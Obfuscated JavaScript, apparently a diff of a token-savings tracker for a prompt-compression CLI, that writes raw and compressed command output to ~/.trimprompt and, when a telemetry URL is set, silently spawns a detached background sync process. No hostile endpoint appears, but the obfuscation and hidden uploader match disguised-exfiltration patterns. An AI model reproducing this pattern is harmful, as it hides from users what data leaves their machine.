_0x12b343=a0_0x22692a;this['baseDir']=path[_0x12b343(0x212)](os[_0x12b343(0x21b)](),_0x12b343(0x1f1)),this[_0x12b343(0x228)]=path[_0x12b343(0x212)](this[_0x12b343(0x205)],_0x12b343(0x1ec)),this['statsPath']=path[_0x12b343(0x212)](this[_0x12b343(0x205)],'stats.json'),this[_0x12b343(0x243)]=path[_0x12b343(0x212)](this[_0x12b343(0x205)],_0x12b343(0x216)),this['init']();}[a0_0x22692a(0x245)](){const _0x2a0d11=a0_0x22692a;!fs['existsSync'](this[_0x2a0d11(0x205)])&&fs[_0x2a0d11(0x218)](this[_0x2a0d11(0x205)],{'recursive':!![]});!fs[_0x2a0d11(0x1f8)](this['logsDir'])&&fs[_0x2a0d11(0x218)](this['logsDir'],{'recursive':!![]});const _0x487204={'version':_0x2a0d11(0x208),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x2a0d11(0x1f0)};if(fs[_0x2a0d11(0x1f8)](this['configPath']))try{const _0x9d9385=fs[_0x2a0d11(0x213)](this[_0x2a0d11(0x228)],_0x2a0d11(0x223));this['config']={..._0x487204,...JSON[_0x2a0d11(0x209)](_0x9d9385)};}catch(_0x464e66){this[_0x2a0d11(0x1f5)]=_0x487204;}else this[_0x2a0d11(0x1f5)]=_0x487204,this[_0x2a0d11(0x200)]();!fs[_0x2a0d11(0x1f8)](this['statsPath'])&&fs['writeFileSync'](this[_0x2a0d11(0x201)],JSON[_0x2a0d11(0x23d)]([]),_0x2a0d11(0x223));}[a0_0x22692a(0x1eb)](){const _0x51ef7e=a0_0x22692a;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x51ef7e(0x1f5)]['telemetry_url']=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x51ef7e(0x1f5)];}[a0_0x22692a(0x219)](_0x128220,_0x2de07f){const _0x20d6fa=a0_0x22692a;this['config'][_0x128220]=_0x2de07f,this[_0x20d6fa(0x200)]();}['saveConfig'](){const _0x2ff306=a0_0x22692a;fs['writeFileSync'](this[_0x2ff306(0x228)],JSON[_0x2ff306(0x23d)](this['config'],null,0x2),'utf8');}[a0_0x22692a(0x246)](){const _0x5880d0=a0_0x22692a;try{if(!fs[_0x5880d0(0x1f8)](this[_0x5880d0(0x201)]))return[];const _0x2861fc=fs[_0x5880d0(0x213)](this['statsPath'],_0x5880d0(0x223));return JSON['parse'](_0x2861fc);}catch{return[];}}[a0_0x22692a(0x1f6)](_0x21fd94){const _0x5526e0=a0_0x22692a;fs[_0x5526e0(0x22f)](this[_0x5526e0(0x201)],JSON['stringify'](_0x21fd94,null,0x2),'utf8');}[a0_0x22692a(0x217)](_0x3aa5,_0x1ae97f,_0x6dc6c4,_0x3b51bb){const _0x1a0762=a0_0x22692a,_0x18285e=this['getLogs'](),_0x3fe005=_0x1ae97f[_0x1a0762(0x20c)],_0x134dc8=_0x6dc6c4[_0x1a0762(0x20c)],_0x34e688=Math[_0x1a0762(0x1f4)](_0x3fe005/0x4),_0x11e0d8=Math['ceil'](_0x134dc8/0x4),_0x71b4df=Math[_0x1a0762(0x23b)](0x0,_0x34e688-_0x11e0d8);let _0x3e8749=_0x1a0762(0x227);if(process.env.TRIMPROMPT_MODEL&&exports[_0x1a0762(0x230)][process.env.TRIMPROMPT_MODEL])_0x3e8749=process.env.TRIMPROMPT_MODEL;else{if(process.env.CLAUDECODE==='1'||process.env.CLAUDE_CODE==='1')_0x3e8749=_0x1a0762(0x227);else{if(process.env.CURSOR_VERSION)_0x3e8749=_0x1a0762(0x227);else{if(process.env.ANTIGRAVITY_AGENT==='1')_0x3e8749=_0x1a0762(0x233);else{const _0x5229f8=this[_0x1a0762(0x1eb)]()[_0x1a0762(0x210)];_0x5229f8&&exports[_0x1a0762(0x230)][_0x5229f8]&&(_0x3e8749=_0x5229f8);}}}}const _0x1dd74b=Math['random']()['toString'](0x24)['substring'](0x2,0xb);try{fs[_0x1a0762(0x22f)](path[_0x1a0762(0x212)](this[_0x1a0762(0x243)],_0x1dd74b+_0x1a0762(0x248)),_0x1ae97f,_0x1a0762(0x223)),fs[_0x1a0762(0x22f)](path['join'](this[_0x1a0762(0x243)],_0x1dd74b+'.comp.txt'),_0x6dc6c4,_0x1a0762(0x223));}catch{}const _0x500eda={'id':_0x1dd74b,'timestamp':new Date()[_0x1a0762(0x1f9)](),'command':_0x3aa5[_0x1a0762(0x238)]('\x20')[0x0]||_0x1a0762(0x242),'raw_chars':_0x3fe005,'compressed_chars':_0x134dc8,'estimated_raw_tokens':_0x34e688,'estimated_compressed_tokens':_0x11e0d8,'tokens_saved':_0x71b4df,'model_used':_0x3e8749,'exit_code':_0x3b51bb,'synced':![]};_0x18285e[_0x1a0762(0x247)](_0x500eda),this[_0x1a0762(0x1f6)](_0x18285e);const _0x2d88b3=this[_0x1a0762(0x1eb)]()['telemetry_url'];return _0x2d88b3&&_0x2d88b3[_0x1a0762(0x1f3)]()[_0x1a0762(0x20c)]>0x0&&this[_0x1a0762(0x220)](),_0x500eda;}[a0_0x22692a(0x220)](){const _0x5702d9=a0_0x22692a;try{const _0x65c08e=path['join'](__dirname,_0x5702d9(0x22b));if(fs[_0x5702d9(0x1f8)](_0x65c08e)){const _0x695cc=(0x0,child_process_1[_0x5702d9(0x225)])(process['execPath'],[_0x65c08e],{'detached':!![],'stdio':_0x5702d9(0x20b)});_0x695cc['unref']();}}catch{}}[a0_0x22692a(0x20f)](_0x412998=a0_0x22692a(0x207)){const _0x4f14b8=a0_0x22692a,_0x27b349=this['getLogs']();let _0x38e092=0x0,_0x3ecda6=0x0,_0x1d5000=0x0;for(const _0x118b6e of _0x27b349){_0x38e092+=_0x118b6e[_0x4f14b8(0x221)],_0x3ecda6+=_0x118b6e['estimated_compressed_tokens'],_0x1d5000+=_0x118b6e['tokens_saved'];}let _0x45259d=_0x412998;(!_0x45259d||_0x45259d==='auto'||!exports[_0x4f14b8(0x230)][_0x45259d])&&(_0x27b349[_0x4f14b8(0x20c)]>0x0&&_0x27b349[_0x27b349[_0x4f14b8(0x20c)]-0x1][_0x4f14b8(0x1fc)]?_0x45259d=_0x27b349[_0x27b349[_0x4f14b8(0x20c)]-0x1]['model_used']:_0x45259d=this[_0x4f14b8(0x1eb)]()[_0x4f14b8(0x210)]||_0x4f14b8(0x227));const _0x4be09a=exports[_0x4f14b8(0x230)][_0x45259d]||exports['PRICING'][_0x4f14b8(0x227)],_0x2b9024=_0x1d5000*_0x4be09a[_0x4f14b8(0x1ed)]/0xf4240,_0xfea642=_0x38e092*_0x4be09a[_0x4f14b8(0x1ed)]/0xf4240,_0x23bbff=_0x3ecda6*_0x4be09a[_0x4f14b8(0x1ed)]/0xf4240,_0x4edf2f=_0x38e092>0x0?_0x1d5000/_0x38e092*0x64:0x0;return{'total_raw_tokens':_0x38e092,'total_compressed_tokens':_0x3ecda6,'total_tokens_saved':_0x1d5000,'savings_percentage':parseFloat(_0x4edf2f['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x2b9024['toFixed'](0x4)),'raw_cost_usd':parseFloat(_0xfea642['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x23bbff[_0x4f14b8(0x232)](0x4)),'model_name':_0x4be09a['name'],'model_key':_0x45259d};}}exports[a0_0x22692a(0x203)]=Tracker,exports[a0_0x22692a(0x240)]=new Tracker();
1
+ 'use strict';const a0_0x1f2fc9=a0_0x32c7;(function(_0x3828c3,_0x2ba2b7){const _0x1b9673=a0_0x32c7,_0x16867c=_0x3828c3();while(!![]){try{const _0x364bac=-parseInt(_0x1b9673(0xcd))/0x1*(parseInt(_0x1b9673(0x98))/0x2)+-parseInt(_0x1b9673(0xb1))/0x3*(parseInt(_0x1b9673(0xc5))/0x4)+-parseInt(_0x1b9673(0xc1))/0x5+-parseInt(_0x1b9673(0x8e))/0x6+-parseInt(_0x1b9673(0xce))/0x7*(parseInt(_0x1b9673(0xad))/0x8)+-parseInt(_0x1b9673(0xcb))/0x9*(parseInt(_0x1b9673(0xb9))/0xa)+parseInt(_0x1b9673(0xd5))/0xb;if(_0x364bac===_0x2ba2b7)break;else _0x16867c['push'](_0x16867c['shift']());}catch(_0x49d9f5){_0x16867c['push'](_0x16867c['shift']());}}}(a0_0x1a8b,0x535ed));function a0_0x32c7(_0x5bc400,_0x2bbfa9){_0x5bc400=_0x5bc400-0x8e;const _0x1a8bb3=a0_0x1a8b();let _0x32c715=_0x1a8bb3[_0x5bc400];return _0x32c715;}var __createBinding=this&&this[a0_0x1f2fc9(0xd8)]||(Object[a0_0x1f2fc9(0xa8)]?function(_0x348db8,_0x1a4f84,_0xf79b63,_0x489cd0){const _0x171270=a0_0x1f2fc9;if(_0x489cd0===undefined)_0x489cd0=_0xf79b63;var _0x4b1f9b=Object[_0x171270(0xd6)](_0x1a4f84,_0xf79b63);(!_0x4b1f9b||(_0x171270(0xd4)in _0x4b1f9b?!_0x1a4f84['__esModule']:_0x4b1f9b['writable']||_0x4b1f9b[_0x171270(0xa5)]))&&(_0x4b1f9b={'enumerable':!![],'get':function(){return _0x1a4f84[_0xf79b63];}}),Object[_0x171270(0xc3)](_0x348db8,_0x489cd0,_0x4b1f9b);}:function(_0x5157f0,_0x2531fb,_0xf0e9f0,_0x1b333b){if(_0x1b333b===undefined)_0x1b333b=_0xf0e9f0;_0x5157f0[_0x1b333b]=_0x2531fb[_0xf0e9f0];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x1f2fc9(0xa8)]?function(_0x510224,_0x53bf3b){const _0x53640b=a0_0x1f2fc9;Object[_0x53640b(0xc3)](_0x510224,_0x53640b(0x96),{'enumerable':!![],'value':_0x53bf3b});}:function(_0x4d3541,_0x1d78bf){_0x4d3541['default']=_0x1d78bf;}),__importStar=this&&this[a0_0x1f2fc9(0xaa)]||(function(){var _0x2efbf2=function(_0x1e1c91){return _0x2efbf2=Object['getOwnPropertyNames']||function(_0x46e465){const _0x45a364=a0_0x32c7;var _0x6d0e5d=[];for(var _0x3296e3 in _0x46e465)if(Object['prototype'][_0x45a364(0xe3)]['call'](_0x46e465,_0x3296e3))_0x6d0e5d[_0x6d0e5d[_0x45a364(0x95)]]=_0x3296e3;return _0x6d0e5d;},_0x2efbf2(_0x1e1c91);};return function(_0x5a4462){const _0x237ec2=a0_0x32c7;if(_0x5a4462&&_0x5a4462[_0x237ec2(0x90)])return _0x5a4462;var _0x10309f={};if(_0x5a4462!=null){for(var _0x2ee1cc=_0x2efbf2(_0x5a4462),_0x3e799b=0x0;_0x3e799b<_0x2ee1cc[_0x237ec2(0x95)];_0x3e799b++)if(_0x2ee1cc[_0x3e799b]!=='default')__createBinding(_0x10309f,_0x5a4462,_0x2ee1cc[_0x3e799b]);}return __setModuleDefault(_0x10309f,_0x5a4462),_0x10309f;};}());Object['defineProperty'](exports,a0_0x1f2fc9(0x90),{'value':!![]}),exports[a0_0x1f2fc9(0xb2)]=exports[a0_0x1f2fc9(0x91)]=exports['PRICING']=void 0x0;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1f2fc9(0xa9))),os=__importStar(require('os')),child_process_1=require(a0_0x1f2fc9(0xab));function a0_0x1a8b(){const _0x224e2a=['random','3HRRzgF','tracker','auto','.trimprompt','writeFileSync','Claude\x20Sonnet\x204.5','default_model','Gemini\x203.5\x20Live\x20Translate','10JQpmoI','setConfig','Claude\x20Opus\x204.8','Claude\x20Opus\x204.7','PRICING','input_price_1m','telemetry_url','claude-3-5-sonnet','2421830XIasxj','triggerBackgroundSync','defineProperty','GPT-5.4','569084dcXxWa','claude-opus-4-8','getConfig','GPT-4.1\x20Nano','existsSync','logs','2960964SBFHYI','ceil','336419HlfkRi','7buUEMz','Gemini\x203.1\x20Pro','saveConfig','OpenAI\x20o1-mini','toString','Claude\x20Mythos\x205','get','20601449lnRlad','getOwnPropertyDescriptor','init','__createBinding','saveLogs','spawn','utf8','toISOString','tokens_saved','GPT-4o','split','stringify','config','GPT-4o\x20Mini','hasOwnProperty','GPT-5.4\x20Mini','getLogs','logsDir','18510eiGSel','GPT-4.1\x20Mini','__esModule','Tracker','configPath','Claude\x20Haiku\x203.5','mkdirSync','length','default','parse','2RJSHHa','max','toFixed','GPT-5.5','baseDir','OpenAI\x20o3-mini','unknown','getStatsSummary','name','stats.json','join','config.json','estimated_compressed_tokens','configurable','Claude\x20Opus\x204.5','Claude\x20Sonnet\x204.6','create','path','__importStar','child_process','.raw.txt','1889896bSWMGI','statsPath','substring'];a0_0x1a8b=function(){return _0x224e2a;};return a0_0x1a8b();}exports[a0_0x1f2fc9(0xbd)]={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x1f2fc9(0xd3),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x1f2fc9(0xbb),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x1f2fc9(0xbc),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x1f2fc9(0xa6),'input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x1f2fc9(0xa7),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x1f2fc9(0xb6),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':'Claude\x20Haiku\x204.5','input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x1f2fc9(0x93),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x1f2fc9(0x9b),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x1f2fc9(0xc4),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x1f2fc9(0xde),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x1f2fc9(0xe4),'input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x1f2fc9(0x8f),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x1f2fc9(0xc8),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x1f2fc9(0xe2),'input_price_1m':0.15},'o1':{'name':'OpenAI\x20o1','input_price_1m':0xf},'o1-mini':{'name':a0_0x1f2fc9(0xd1),'input_price_1m':0x3},'o3-mini':{'name':a0_0x1f2fc9(0x9d),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x1f2fc9(0xcf),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x1f2fc9(0xb8),'input_price_1m':3.5}};class Tracker{[a0_0x1f2fc9(0x9c)];[a0_0x1f2fc9(0x92)];[a0_0x1f2fc9(0xae)];[a0_0x1f2fc9(0xe6)];[a0_0x1f2fc9(0xe1)];constructor(){const _0x106c41=a0_0x1f2fc9;this[_0x106c41(0x9c)]=path[_0x106c41(0xa2)](os['homedir'](),_0x106c41(0xb4)),this['configPath']=path[_0x106c41(0xa2)](this[_0x106c41(0x9c)],_0x106c41(0xa3)),this[_0x106c41(0xae)]=path[_0x106c41(0xa2)](this[_0x106c41(0x9c)],_0x106c41(0xa1)),this['logsDir']=path[_0x106c41(0xa2)](this['baseDir'],_0x106c41(0xca)),this['init']();}[a0_0x1f2fc9(0xd7)](){const _0x37a791=a0_0x1f2fc9;!fs[_0x37a791(0xc9)](this['baseDir'])&&fs[_0x37a791(0x94)](this[_0x37a791(0x9c)],{'recursive':!![]});!fs[_0x37a791(0xc9)](this[_0x37a791(0xe6)])&&fs[_0x37a791(0x94)](this[_0x37a791(0xe6)],{'recursive':!![]});const _0x5d1884={'version':'1.0','telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x37a791(0xc6)};if(fs[_0x37a791(0xc9)](this['configPath']))try{const _0x250062=fs['readFileSync'](this[_0x37a791(0x92)],_0x37a791(0xdb));this[_0x37a791(0xe1)]={..._0x5d1884,...JSON['parse'](_0x250062)};}catch(_0x3dcca4){this[_0x37a791(0xe1)]=_0x5d1884;}else this[_0x37a791(0xe1)]=_0x5d1884,this[_0x37a791(0xd0)]();!fs['existsSync'](this[_0x37a791(0xae)])&&fs[_0x37a791(0xb5)](this['statsPath'],JSON['stringify']([]),_0x37a791(0xdb));}['getConfig'](){const _0x2de05a=a0_0x1f2fc9;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x2de05a(0xe1)][_0x2de05a(0xbf)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x2de05a(0xe1)];}[a0_0x1f2fc9(0xba)](_0x1c580e,_0x1f72c1){const _0x38203c=a0_0x1f2fc9;this[_0x38203c(0xe1)][_0x1c580e]=_0x1f72c1,this[_0x38203c(0xd0)]();}[a0_0x1f2fc9(0xd0)](){const _0x49d202=a0_0x1f2fc9;fs[_0x49d202(0xb5)](this[_0x49d202(0x92)],JSON[_0x49d202(0xe0)](this[_0x49d202(0xe1)],null,0x2),_0x49d202(0xdb));}['getLogs'](){const _0x30718c=a0_0x1f2fc9;try{if(!fs['existsSync'](this[_0x30718c(0xae)]))return[];const _0x5d0333=fs['readFileSync'](this[_0x30718c(0xae)],_0x30718c(0xdb));return JSON[_0x30718c(0x97)](_0x5d0333);}catch{return[];}}[a0_0x1f2fc9(0xd9)](_0x4f8e8c){const _0x558f2d=a0_0x1f2fc9;fs['writeFileSync'](this['statsPath'],JSON[_0x558f2d(0xe0)](_0x4f8e8c,null,0x2),_0x558f2d(0xdb));}['logExecution'](_0x48f148,_0xc59864,_0x3da639,_0x25f935){const _0x566157=a0_0x1f2fc9,_0x4042d5=this[_0x566157(0xe5)](),_0x525fc5=_0xc59864[_0x566157(0x95)],_0xb1eccc=_0x3da639[_0x566157(0x95)],_0x4f0eff=Math[_0x566157(0xcc)](_0x525fc5/0x4),_0x16afd1=Math[_0x566157(0xcc)](_0xb1eccc/0x4),_0x23a576=Math[_0x566157(0x99)](0x0,_0x4f0eff-_0x16afd1);let _0x153298=_0x566157(0xc0);if(process.env.TRIMPROMPT_MODEL&&exports[_0x566157(0xbd)][process.env.TRIMPROMPT_MODEL])_0x153298=process.env.TRIMPROMPT_MODEL;else{if(process.env.CLAUDECODE==='1'||process.env.CLAUDE_CODE==='1')_0x153298=_0x566157(0xc0);else{if(process.env.CURSOR_VERSION)_0x153298='claude-3-5-sonnet';else{if(process.env.ANTIGRAVITY_AGENT==='1')_0x153298='gemini-3-1-pro';else{const _0x5623c4=this[_0x566157(0xc7)]()[_0x566157(0xb7)];_0x5623c4&&exports[_0x566157(0xbd)][_0x5623c4]&&(_0x153298=_0x5623c4);}}}}const _0x37d58e=Math[_0x566157(0xb0)]()[_0x566157(0xd2)](0x24)[_0x566157(0xaf)](0x2,0xb);try{fs[_0x566157(0xb5)](path['join'](this['logsDir'],_0x37d58e+_0x566157(0xac)),_0xc59864,_0x566157(0xdb)),fs['writeFileSync'](path[_0x566157(0xa2)](this[_0x566157(0xe6)],_0x37d58e+'.comp.txt'),_0x3da639,_0x566157(0xdb));}catch{}const _0x38efb7={'id':_0x37d58e,'timestamp':new Date()[_0x566157(0xdc)](),'command':_0x48f148[_0x566157(0xdf)]('\x20')[0x0]||_0x566157(0x9e),'raw_chars':_0x525fc5,'compressed_chars':_0xb1eccc,'estimated_raw_tokens':_0x4f0eff,'estimated_compressed_tokens':_0x16afd1,'tokens_saved':_0x23a576,'model_used':_0x153298,'exit_code':_0x25f935,'synced':![]};_0x4042d5['push'](_0x38efb7),this[_0x566157(0xd9)](_0x4042d5);const _0x4785d3=this[_0x566157(0xc7)]()[_0x566157(0xbf)];return _0x4785d3&&_0x4785d3['trim']()[_0x566157(0x95)]>0x0&&this['triggerBackgroundSync'](),_0x38efb7;}[a0_0x1f2fc9(0xc2)](){const _0x2590b1=a0_0x1f2fc9;try{const _0x2ed6ed=path[_0x2590b1(0xa2)](__dirname,'sync.js');if(fs['existsSync'](_0x2ed6ed)){const _0x28ed14=(0x0,child_process_1[_0x2590b1(0xda)])(process['execPath'],[_0x2ed6ed],{'detached':!![],'stdio':'ignore'});_0x28ed14['unref']();}}catch{}}[a0_0x1f2fc9(0x9f)](_0x2ec122=a0_0x1f2fc9(0xb3)){const _0x229c04=a0_0x1f2fc9,_0x1aeb58=this[_0x229c04(0xe5)]();let _0x3b6fde=0x0,_0x4cf0de=0x0,_0x492e56=0x0;for(const _0x286c49 of _0x1aeb58){_0x3b6fde+=_0x286c49['estimated_raw_tokens'],_0x4cf0de+=_0x286c49[_0x229c04(0xa4)],_0x492e56+=_0x286c49[_0x229c04(0xdd)];}let _0x2e206b=_0x2ec122;(!_0x2e206b||_0x2e206b===_0x229c04(0xb3)||!exports[_0x229c04(0xbd)][_0x2e206b])&&(_0x1aeb58['length']>0x0&&_0x1aeb58[_0x1aeb58['length']-0x1]['model_used']?_0x2e206b=_0x1aeb58[_0x1aeb58[_0x229c04(0x95)]-0x1]['model_used']:_0x2e206b=this[_0x229c04(0xc7)]()[_0x229c04(0xb7)]||'claude-3-5-sonnet');const _0x25321e=exports[_0x229c04(0xbd)][_0x2e206b]||exports[_0x229c04(0xbd)][_0x229c04(0xc0)],_0x471372=_0x492e56*_0x25321e['input_price_1m']/0xf4240,_0x1c8235=_0x3b6fde*_0x25321e['input_price_1m']/0xf4240,_0x34cf5c=_0x4cf0de*_0x25321e[_0x229c04(0xbe)]/0xf4240,_0x573fea=_0x3b6fde>0x0?_0x492e56/_0x3b6fde*0x64:0x0;return{'total_raw_tokens':_0x3b6fde,'total_compressed_tokens':_0x4cf0de,'total_tokens_saved':_0x492e56,'savings_percentage':parseFloat(_0x573fea[_0x229c04(0x9a)](0x1)),'money_saved_usd':parseFloat(_0x471372[_0x229c04(0x9a)](0x4)),'raw_cost_usd':parseFloat(_0x1c8235[_0x229c04(0x9a)](0x4)),'compressed_cost_usd':parseFloat(_0x34cf5c['toFixed'](0x4)),'model_name':_0x25321e[_0x229c04(0xa0)],'model_key':_0x2e206b};}}exports[a0_0x1f2fc9(0x91)]=Tracker,exports[a0_0x1f2fc9(0xb2)]=new Tracker();